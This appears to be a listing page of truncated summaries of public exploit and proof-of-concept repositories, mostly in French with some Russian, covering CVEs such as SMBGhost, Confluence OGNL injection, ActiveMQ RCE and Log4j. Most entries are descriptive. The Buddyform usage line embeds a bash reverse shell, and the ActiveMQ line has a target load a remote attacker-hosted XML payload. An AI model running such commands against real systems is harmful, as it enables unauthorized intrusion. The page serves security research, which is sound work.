CVE-2020-0796-SMBGhost-Exploit-Demo

Démonstration d'exploit CVE-2020-0796 SMBGhost Ce projet présente une preuve de concept PoC de l'exploit CVE-2020-0796, également connu sous le nom de SMBGhost - une vulnérabilité RCE critique sans authentification affectant les systèmes Windows 10 et Windows Server utilisant SMBv3. Il a été...

CVE-2023-43356-CMSmadesimple-Stored-XSS---Global-Settings

CMSmadesimple XSS stocké v2.2.18 Auteur : Sergio Description : La vulnérabilité Cross Site Scripting dans CMSmadesimple v.2.2.18 permet à un attaquant local d'exécuter du code arbitraire via un script spécialement conçu dans la Global Meatadata du menu Settings- Global Settings Menu. Vecteurs...

linux_screenshot_xwindows

Intro The goal of this volatility plugin is to extract a screenshot of all open X windows from a memory dump. Previous work The volatility plugin linuxxwindows realised by Adam Bridge https://github.com/bridgeythegeek/linuxxwindows extracts various metadata from the window objects registered to X...

CVE-2024-33210

CVE-2024-33210 Une vulnérabilité de type cross-site scripting XSS a été identifiée dans Flatpress 1.3. Cette vulnérabilité permet à un attaquant d'injecter des scripts malveillants dans les pages web consultées par d'autres utilisateurs. Type de vulnérabilité : Cross Site Scripting XSS Fournisseu...

ATLASSIAN-Confluence_rce

ATLASSIAN-Confluencerce CVE-2022-26134 Installation root@kitploit: git clone https://github.com/xanszZZ/ATLASSIAN-Confluencerce cd ATLASSIAN-Confluencerce Utilisation Cet outil est un poc écrit selon les spécifications de développement du framework pocsuite3. Avant de l'utiliser, veuillez...

CVE-2019-11043-Docker

Une image Docker avec une version vulnérable de PHP-FPM CVE-2019-11043 et nginx. Exécution docker run --rm -p8080:80 akamajoris/cve-2019-11043 Vous devriez pouvoir accéder à l'application web à l'adresse http://your-ip:8080/. Exploitation Compilez un binaire à partir de...

CiscoExploit

CiscoExploit Cisco Сканирование IP/Port/HostName/Boot/Version https://www.cnblogs.com/k8gege/p/10679491.html CVE-2019-1821 Cisco Prime Infrastructure Удаленное выполнение кода https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html Cisco SNMP RCE...

CVE-2024-3400

Vulnérabilité CVE-2024-3400 Description La vulnérabilité CVE-2024-3400 est une vulnérabilité de sécurité qui affecte les pare-feu PAN-OS dans les versions 10.2, 11.0 et 11.1. Cette vulnérabilité est exploitée lorsque les configurations de passerelle GlobalProtect et de télémétrie des appareils so...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le...

staystaystay

staystaystay staystaystay est un exploit de preuve de concept pour CVE-2021-1585, un problème de RCE exécution de code à distance de type homme du milieu ou point de terminaison malveillant affectant Cisco ASA Device Manager ASDM. Ce problème a été découvert à l'origine par Malcolm Lashley et...

exploit-CVE-2020-5844

Exploit pour CVE-2020-5844 Pandora FMS v7.0NG.742 - Exécution de code à distance Vous aimez ce dépôt ? Donnez-nous une ⭐ ! Pour des fins éducatives et de recherche en sécurité autorisées uniquement. Auteur de l'exploit @UNICORDev par @NicPWNs et @Dev-Yeoj Description de la vulnérabilité...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' À l'origine, CVE-2023–26326 nécessitait des chaînes de gadgets pour l'exploiter comme une vulnérabilité de désérialisation. Cette méthode n'est plus réalisable sur les sites WordPress récents fonctionnant sou...

CVE-2015-2291

CVE-2015-2291 1 IQVW32.sys avant la version 1.3.1.0 et 2 IQVW64.sys avant la version 1.3.1.0 dans le pilote de diagnostic Ethernet Intel pour Windows permet aux utilisateurs locaux de provoquer un déni de service ou éventuellement d'exécuter du code arbitraire avec des privilèges noyau via un app...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 - Удаленное выполнение кода в Confluence без аутентификации | OGNL-инъекция Установка зависимостей root@kitploit: pip3 install -r requirements.txt Запуск эксплойта root@kitploit: USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com...

CVE-2021-29003

CVE-2021-29003 https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/ Exploit db https://www.exploit-db.com/exploits/49764 medium https://sharmajijvs.medium.com/how-i-got-my-first-cve-af2c3009e409 Unit 42 palo alto networks...

CVE-2024-37770

CVE-2024-37770 description 14Finger v1.1 a été découvert contenir une vulnérabilité d'exécution de commandes à distance RCE dans la fonction d'empreinte digitale. Cette vulnérabilité permet aux attaquants d'exécuter des commandes arbitraires via une charge utile conçue. Vecteur d'attaque Les...

Log4j-Vulnerability

Vulnérabilité Log4j Tutoriel: https://youtu.be/PNDBjoT83zA Tutoriel: https://cryptodeeptech.ru/log4j-vulnerability Contexte sur Log4j L'équipe de sécurité d'Alibaba Cloud a divulgué publiquement une vulnérabilité critique CVE-2021-44228 permettant une exécution de code à distance non authentifiée...

CVE-2021-21983

CVE-2021-21975 Écriture arbitraire de fichier dans l'API VMware vRealize Operations vROps Manager menant à une exécution de code à distance RCE vRealize Operations vROps est un outil de gestion autonome des opérations informatiques propulsé par l'IA, des applications à l'infrastructure, pour...

pwn-hisilicon-dvr

= Взлом DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract В этом отчёте раскрываются серьёзные уязвимости с кодом доказательства концепции PoC устройств DVR/NVR, построенных ...

SharpSphere

SharpSphere - Attaque de l'infrastructure vSphere Crédit @jkcoote & @grzryc Guide complet et exemples disponibles ici. Historique des versions 1.0 - Version initiale 2.0 - Ajout de la prise en charge de l'authentification directe via SSPI. 2.1 - Ajout de la prise en charge des VMs cibles Linux av...